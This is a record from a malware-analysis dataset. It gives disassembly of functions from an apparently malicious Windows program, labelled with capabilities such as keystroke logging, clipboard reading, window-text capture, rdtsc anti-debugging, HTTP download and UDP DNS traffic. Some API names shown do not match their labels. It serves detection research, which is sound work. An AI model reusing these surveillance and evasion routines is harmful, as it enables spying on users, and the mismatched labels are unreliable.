joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45f748
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], edx
xor edx, edx
push ebp
push 0x45f900
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov edx, dword [edx + 0x30]
mov ecx, dword [edx + 4]
add ecx, eax
mov esi, ecx
mov edx, esi
movzx ebx, word [edx + 0xc]
movzx edx, word [edx + 0xe]
add ebx, edx
mov edx, ebx
mov ebx, dword [ebp + 8]
mov ebx, ecx
add ebx, 0x10
dec edx
test edx, edx
jl 0x45f8e5
inc edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 8], 0
movzx eax, word [esi + 0xc]
cmp eax, dword [ebp - 8]
setle byte [ebp - 9]
mov eax, dword [ebp - 4]
sub eax, 1
jb 0x45f7c0
je 0x45f7e4
dec eax
je 0x45f808
jmp 0x45f837
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp + 8]
mov edx, dword [eax - 4]
mov ecx, dword [ebx]
mov al, byte [ebp - 9]
call fcn.0045f708
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
add eax, 0xfffffff8
call fcn.004047ac
jmp 0x45f837
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 8]
mov edx, dword [eax - 4]
mov ecx, dword [ebx]
mov al, byte [ebp - 9]
call fcn.0045f708
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, 0xfffffff4
call fcn.004047ac
jmp 0x45f837
cmp byte [ebp - 9], 0
jne 0x45f82f
lea edx, [ebp - 0x20]
mov eax, 0x45eb8c
call fcn.004064f0
mov ecx, dword [ebp - 0x20]
mov dl, 1
mov eax, dword [0x45eb10]
call fcn.0040c7f8
call fcn.004040cc
mov eax, dword [ebp + 8]
mov edx, dword [ebx]
mov dword [eax - 0x10], edx
mov edx, dword [ebx + 4]
test edx, 0x80000000
jbe 0x45f859
mov eax, dword [ebp + 8]
push eax
mov eax, edx
and eax, 0x7fffffff
mov edx, dword [ebp - 4]
inc edx
call fcn.0045f748
pop ecx
jmp 0x45f8d6
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 4]
mov ecx, eax
add ecx, edx
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 8]
mov edx, dword [edx - 0xc]
push edx
mov edx, dword [ebp + 8]
mov edx, dword [edx - 8]
push edx
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 4]
push edx
mov edx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
add eax, dword [edx]
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
sub eax, dword [edx + 0x14]
push eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x10]
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x14]
mov eax, dword [0x45bcb0]
call fcn.0045c0a0
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 8]
mov dword [eax + 0xc], edx
mov edx, dword [esi]
mov dword [eax + 0x28], edx
movzx edx, word [esi + 8]
shl edx, 0x10
movzx ecx, word [esi + 0xa]
add edx, ecx
mov dword [eax + 0x20], edx
mov edx, dword [ebp + 8]
mov edx, dword [edx - 0x14]
mov edx, dword [edx + 0x78]
xchg edx, eax
call fcn.0042890c
add ebx, 8
inc dword [ebp - 8]
dec dword [ebp - 0x14]
jne 0x45f7a6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45f907
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00404738
ret
Function at 0x463500
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x463631
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x47d134], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x463608
mov eax, dword [0x47d114]
call fcn.00409190
test al, al
je 0x463608
push 0x463640
call sub.user32.dll_MapVirtualKeyA
mov dl, 1
mov eax, dword [0x4131b0]
call fcn.00403910
mov ebx, eax
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.00402b64
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.004173a4
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov esi, eax
push 0
push 0
mov eax, ebx
call fcn.00416bf4
push esi
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x4634dc]
call fcn.00405974
add esp, 4
mov edx, dword [ebp - 4]
mov ecx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, ebx
call fcn.00403940
push 0x463650
call sub.user32.dll_MapVirtualKeyA
lea eax, [ebp - 8]
push eax
push 0x46366c
push dword [0x47d114]
push 0x463678
push dword [0x47d0e4]
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404a94
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov edx, esi
call fcn.00468ce4
cmp eax, 0xffffffff
je 0x463601
nop
nop
mov eax, 0xc1c
call fcn.004634b4
nop
nop
push 0
call sub.user32.dll_FrameRect
jmp 0x463608
xor eax, eax
mov dword [0x47d134], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x463638
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404738
lea eax, [ebp - 4]
mov edx, dword [0x4634dc]
call fcn.00405980
ret

Function at 0x463ba8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x29c], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bc4
xor eax, eax
push ebp
push 0x463cfa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor ecx, ecx
push ebp
push 0x463cd2
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x100
lea eax, [ebp - 0x298]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x298]
mov edx, dword [ebp - 4]
call fcn.004097a4
lea eax, [ebp - 0x298]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x463cbb
mov edx, dword [eax + 0xc]
test edx, edx
je 0x463cb5
mov ebx, dword [edx]
test ebx, ebx
je 0x463caf
lea eax, [ebp - 0x29c]
push eax
xor eax, eax
mov al, byte [ebx]
mov dword [ebp - 0x2bc], eax
mov byte [ebp - 0x2b8], 0
xor eax, eax
mov al, byte [ebx + 1]
mov dword [ebp - 0x2b4], eax
mov byte [ebp - 0x2b0], 0
xor eax, eax
mov al, byte [ebx + 2]
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 0x2a8], 0
xor eax, eax
mov al, byte [ebx + 3]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 0x2a0], 0
lea edx, [ebp - 0x2bc]
mov ecx, 3
mov eax, 0x463d14
call fcn.00409e10
mov edx, dword [ebp - 0x29c]
mov eax, esi
call fcn.00404768
mov byte [ebp - 5], 1
jmp 0x463cbf
mov byte [ebp - 5], 0
jmp 0x463cbf
mov byte [ebp - 5], 0
jmp 0x463cbf
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x463cd9
call sub.wsock32.dll_WSACleanup
ret
Function at 0x463e68
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbbc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x444], ebx
mov dword [ebp - 0x440], ebx
mov dword [ebp - 0x43c], ebx
mov dword [ebp - 0x438], ebx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bc4
xor eax, eax
push ebp
push 0x464080
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, esi
call fcn.00404714
cmp dword [ebp - 4], 0
je 0x46405a
lea eax, [ebp - 0x438]
call fcn.00463e2c
push 0
push 0
push 0
push 0
push 0x464094
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
xor edx, edx
push ebp
push 0x464053
push dword fs:[edx]
mov dword fs:[edx], esp
cmp dword [ebp - 0x10], 0
je 0x46403c
push 0
push 0x84000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404bd4
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x46403c
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0xa
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x434]
push eax
push 0x13
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_HttpQueryInfoA
lea ebx, [ebp - 0x434]
lea eax, [ebp - 0x43c]
mov edx, ebx
call fcn.0040490c
mov eax, dword [ebp - 0x43c]
mov edx, 0x4640a4
call fcn.00404b20
je 0x463f91
lea eax, [ebp - 0x440]
mov edx, ebx
call fcn.0040490c
mov eax, dword [ebp - 0x440]
mov edx, 0x4640b0
call fcn.00404b20
jne 0x46403c
xor edx, edx
push ebp
push 0x464035
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x420]
xor ecx, ecx
mov edx, 0x400
call fcn.004031dc
lea eax, [ebp - 0x18]
push eax
push 0x400
lea eax, [ebp - 0x420]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetReadFile
cmp dword [ebp - 0x18], 0
jbe 0x464014
cmp dword [ebp - 8], 0
je 0x463fe9
lea edx, [ebp - 0x420]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
call fcn.00416e38
jmp 0x464014
mov edi, dword [ebp - 0x18]
test edi, edi
jle 0x464014
lea ebx, [ebp - 0x420]
lea eax, [ebp - 0x444]
mov dl, byte [ebx]
call fcn.004048fc
mov edx, dword [ebp - 0x444]
mov eax, esi
call fcn.004049dc
inc ebx
dec edi
jne 0x463ff6
cmp dword [ebp - 0x18], 0
jne 0x463f9f
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46403c
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46405a
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x464087
lea eax, [ebp - 0x444]
mov edx, 4
call fcn.00404738
lea eax, [ebp - 4]
call fcn.00404714
ret
Function at 0x464f84
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x9c], ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4650a4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x427570]
call fcn.00427670
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x465084
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 4]
call fcn.00427710
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call sub.user32.dll_GetWindowTextA
mov eax, dword [ebp - 0x88]
dec eax
je 0x464ff8
dec eax
je 0x464fff
jmp 0x465006
mov ebx, 0x4650b4
jmp 0x465008
mov ebx, 0x4650e0
jmp 0x465008
xor ebx, ebx
lea eax, [ebp - 0x9c]
mov edx, ebx
call fcn.0040490c
mov edx, dword [ebp - 0x9c]
xor ecx, ecx
mov eax, dword [ebp - 4]
call fcn.00427854
sub si, 1
jb 0x465035
je 0x465046
sub si, 3
je 0x465057
jmp 0x465066
mov ecx, edi
mov edx, 0x465118
mov eax, dword [ebp - 4]
call fcn.00427dd8
jmp 0x465066
mov ecx, edi
mov edx, 0x465138
mov eax, dword [ebp - 4]
call fcn.00427dd8
jmp 0x465066
mov ecx, edi
mov edx, 0x465150
mov eax, dword [ebp - 4]
call fcn.00427dd8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46508b
mov eax, dword [ebp - 4]
call fcn.004276e0
mov eax, dword [ebp - 4]
call fcn.00403940
ret
Function at 0x4651b8
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
fld qword [0x47a868]
fcomp dword [0x465310]
fnstsw ax
sahf
je 0x4651e7
mov eax, dword [0x47a868]
mov dword [ebp - 0x18], eax
mov eax, dword [0x47a86c]
mov dword [ebp - 0x14], eax
jmp 0x465308
mov dword [ebp - 0x40], 0x10000
xor eax, eax
mov dword [ebp - 0x3c], eax
fild qword [ebp - 0x40]
fmul dword [0x465314]
fistp qword [ebp - 0x40]
wait
call sub.user32.dll_GetWindowPlacement
mov ebx, eax
call sub.user32.dll_GetWindowPlacement
cmp ebx, eax
je 0x465207
rdtsc
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
call sub.user32.dll_GetWindowPlacement
lea edx, [ebx + 0x3e8]
cmp eax, edx
jb 0x465218
rdtsc
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x30]
wait
cmp dword [ebp - 4], 0
jae 0x465253
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x30]
wait
mov eax, dword [ebp - 8]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x38]
wait
cmp dword [ebp - 8], 0
jae 0x465277
fild qword [ebp - 0x38]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x38]
wait
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
fmulp st(1)
fild qword [ebp - 0x38]
faddp st(1)
fistp qword [ebp - 0x20]
wait
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x30]
wait
cmp dword [ebp - 0xc], 0
jae 0x4652ac
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x30]
wait
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x38]
wait
cmp dword [ebp - 0x10], 0
jae 0x4652d0
fild qword [ebp - 0x38]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x38]
wait
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
fmulp st(1)
fild qword [ebp - 0x38]
faddp st(1)
fistp qword [ebp - 0x28]
wait
fild qword [ebp - 0x28]
fild qword [ebp - 0x20]
fsubp st(1)
fdiv dword [0x465318]
fstp qword [0x47a868]
wait
mov eax, dword [0x47a868]
mov dword [ebp - 0x18], eax
mov eax, dword [0x47a86c]
mov dword [ebp - 0x14], eax
fld qword [ebp - 0x18]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x465338
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff3c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0xc4], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46546d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x465435
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call sub.user32.dll_GetWindowTextA
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0xc4]
mov ax, 4
call fcn.00464f84
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xc0], eax
mov byte [ebp - 0xbc], 0xb
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0xb8], eax
mov byte [ebp - 0xb4], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xb0], eax
mov byte [ebp - 0xac], 0
mov eax, dword [ebp - 0x8c]
and eax, 0xffff
mov dword [ebp - 0xa8], eax
mov byte [ebp - 0xa4], 0
lea eax, [ebp - 0x84]
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0x9c], 6
lea edx, [ebp - 0xc0]
mov ecx, 4
mov eax, 0x465484
call fcn.00409e10
mov edx, dword [ebp - 4]
mov edx, dword [edx]
mov eax, 0x4654a0
call fcn.00404d18
mov edx, eax
mov eax, dword [ebp - 4]
mov ecx, 0xa
call fcn.00404c74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46543f
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x465454
mov eax, dword [ebp - 4]
mov edx, 0x4654b4
call fcn.00404768
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x465474
lea eax, [ebp - 0xc4]
call fcn.00404714
ret
Function at 0x466674
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd98
push ebx
xor ecx, ecx
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bc4
mov eax, dword [ebp - 8]
call fcn.00404bc4
xor eax, eax
push ebp
push 0x4668d3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x254]
call fcn.004096cc
mov edx, dword [ebp - 0x254]
lea eax, [ebp - 0x110]
mov ecx, 0xff
call fcn.004049b0
mov eax, dword [ebp - 4]
call fcn.004028d0
call fcn.00402894
lea eax, [ebp - 0x250]
push eax
push 0x4668e4
call sub.user32.dll_GetClipboardData
mov ebx, eax
cmp ebx, 0xffffffff
je 0x466860
mov eax, dword [ebp - 8]
call fcn.004091a0
test al, al
jne 0x46672c
mov eax, dword [ebp - 8]
call fcn.004091c4
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x224]
mov ecx, 0x104
call fcn.00404984
mov eax, dword [ebp - 0x10]
mov edx, 0x4668f0
call fcn.00404b20
je 0x466843
mov eax, dword [ebp - 0x10]
mov edx, 0x4668fc
call fcn.00404b20
je 0x466843
cmp dword [ebp - 0x250], 0x10
jne 0x466812
push dword [ebp - 8]
push 0x466908
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404a94
mov eax, dword [ebp - 0xc]
call fcn.004091a0
test al, al
jne 0x46679e
mov eax, dword [ebp - 0xc]
call fcn.004091c4
mov eax, dword [ebp - 4]
call fcn.004049d4
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x4667db
push dword [ebp - 4]
push 0x466908
push dword [ebp - 0x10]
lea eax, [ebp - 0x258]
mov edx, 3
call fcn.00404a94
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0xc]
call fcn.00466674
jmp 0x466843
lea eax, [ebp - 0x25c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00404a20
mov eax, dword [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00404a20
mov eax, dword [ebp - 0x260]
pop edx
call fcn.00466674
jmp 0x466843
push dword [ebp - 8]
push 0x466908
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404a94
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
call fcn.00404bd4
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404bd4
push eax
call sub.user32.dll_DrawTextA
lea eax, [ebp - 0x250]
push eax
push ebx
call sub.user32.dll_GetCursor
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x46672c
jmp 0x466885
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x110]
call fcn.00404978
mov eax, dword [ebp - 0x264]
call fcn.004028d0
call fcn.00402894
xor ebx, ebx
jmp 0x4668a8
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x110]
call fcn.00404978
mov eax, dword [ebp - 0x268]
call fcn.004028d0
call fcn.00402894
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4668da
lea eax, [ebp - 0x268]
mov edx, 6
call fcn.00404738
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404738
ret
Function at 0x4680f4
Capabilities:
Get keyboard layout

Disassembly:
add esp, 0xffffffd0
push esp
push 0x28
call sub.user32.dll_GetKeyboardLayoutList
push eax
call sub.user32.dll_SetParent
lea eax, [esp + 8]
push eax
push 0x468158
push 0
call sub.user32.dll_SetMenuItemInfoA
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
mov eax, dword [esp + 8]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x14]
push eax
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.user32.dll_SetMenu
add esp, 0x30
ret
Function at 0x46a30b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp word [edx], 0x5a4d
jne 0x46a331
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
cmp dword [ecx + edx], 0x4550
je 0x46a336
xor eax, eax
pop ecx
pop ebp
ret
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 4]
add edx, dword [ecx + 0x3c]
mov eax, dword [ebp + 0xc]
mov dword [eax], edx
mov edx, dword [ebp + 0xc]
mov ecx, dword [edx]
cmp dword [ecx], 0x4550
je 0x46a356
xor eax, eax
pop ecx
pop ebp
ret
mov edx, dword [ebp + 0xc]
add dword [edx], 4
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx]
add eax, 0x14
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx]
cmp word [eax], 0x10b
je 0x46a37a
xor eax, eax
pop ecx
pop ebp
ret
mov edx, dword [ebp + 0x10]
mov ecx, dword [edx]
add ecx, 0xe0
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
mov eax, 1
pop ecx
pop ebp
ret

Function at 0x46abb8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x46abc1
mov eax, dword [esp + 0x2000]
add esp, 4
mov esi, edx
lea edi, [esp]
push ecx
mov ecx, 0x800
rep movsd dword es:[edi], dword [esi]
pop ecx
dec ecx
test ecx, ecx
jl 0x46ac12
inc ecx
mov edx, esp
mov ebx, dword [eax]
movzx esi, byte [edx]
xor ebx, esi
and ebx, 0xff
mov ebx, dword [ebx*4 + 0x47a880]
mov esi, dword [eax]
shr esi, 8
and esi, 0xffffff
xor ebx, esi
mov dword [eax], ebx
inc edx
dec ecx
jne 0x46abeb
add esp, 0x2000
pop edi
pop esi
pop ebx
ret

Function at 0x46af68
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x46b051
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x46b060
push 0x46b074
call sub.user32.dll_IsWindowVisible
push eax
call sub.user32.dll_GetSysColor
mov esi, eax
lea eax, [ebx + 4]
call fcn.00404714
test esi, esi
je 0x46afe4
mov dword [ebp - 4], 0x400
mov eax, dword [ebp - 4]
call fcn.0040272c
mov edi, eax
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
jne 0x46afdd
lea esi, [edi + 0x10c]
test esi, esi
je 0x46afdd
lea eax, [ebx + 4]
lea edx, [esi + 4]
mov ecx, 0x10
call fcn.00404984
mov eax, edi
call fcn.0040274c
cmp dword [ebx + 4], 0
jne 0x46b018
call fcn.00402bc4
mov eax, 4
call fcn.004031fc
mov eax, dword [eax*4 + 0x47ac80]
lea ecx, [ebp - 8]
mov edx, 0x46b08c
call fcn.0041e20c
mov edx, dword [ebp - 8]
lea eax, [ebx + 4]
call fcn.00404768
lea eax, [ebp - 0xc]
mov ecx, dword [ebx + 4]
mov edx, 0x46b0a0
call fcn.00404a20
mov eax, dword [ebp - 0xc]
call fcn.00404bd4
push eax
call sub.user32.dll_MapVirtualKeyA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b058
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404738
ret
Function at 0x46b184
Capabilities:
Get socket status

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov eax, ecx
mov esi, 0x3e8
cdq
idiv esi
mov dword [esp], eax
mov eax, ecx
mov ecx, 0x3e8
cdq
idiv ecx
imul eax, edx, 0x3e8
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
cmp eax, 0x40
jge 0x46b1c2
mov dword [esp + eax*4 + 0xc], ebx
inc dword [esp + 8]
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x46b1dc
Capabilities:
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x46b302
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 1
xor esi, esi
mov edi, dword [ebp + 0xc]
push 0x11
push 2
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x46b2f8
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x10
call fcn.004031dc
mov word [ebp - 0x28], 2
push 0x35
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call fcn.00404bd4
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.wsock32.dll_sendto
inc eax
jne 0x46b28c
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46b30c
cmp dword [ebp - 0x18], 0
jle 0x46b2ef
mov ecx, 0xbb8
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0046b184
test eax, eax
jle 0x46b2ef
lea eax, [ebp - 0x18]
push eax
push 0x4004667f
push ebx
call sub.wsock32.dll_ioctlsocket
inc eax
jne 0x46b2bd
cmp dword [ebp - 0x18], 0
jle 0x46b2ef
mov eax, dword [ebp - 0x18]
add eax, esi
cmp eax, dword [ebp + 8]
jle 0x46b2cc
add esi, dword [ebp - 0x18]
jmp 0x46b2ef
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0x18]
push eax
push edi
push ebx
call sub.wsock32.dll_recvfrom
mov dword [ebp - 0x10], eax
add esi, dword [ebp - 0x10]
add edi, esi
cmp dword [ebp - 0x18], 0
jg 0x46b292
mov dword [ebp - 0x10], esi
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46b30c
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x46b71c
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
push ebx
push esi
test dl, dl
je 0x46b733
add esp, 0xfffffff0
call fcn.00403c64
mov ebx, edx
mov esi, eax
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, esi
test bl, bl
je 0x46b75d
call fcn.00403cbc
pop dword fs:[0]
add esp, 0xc
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret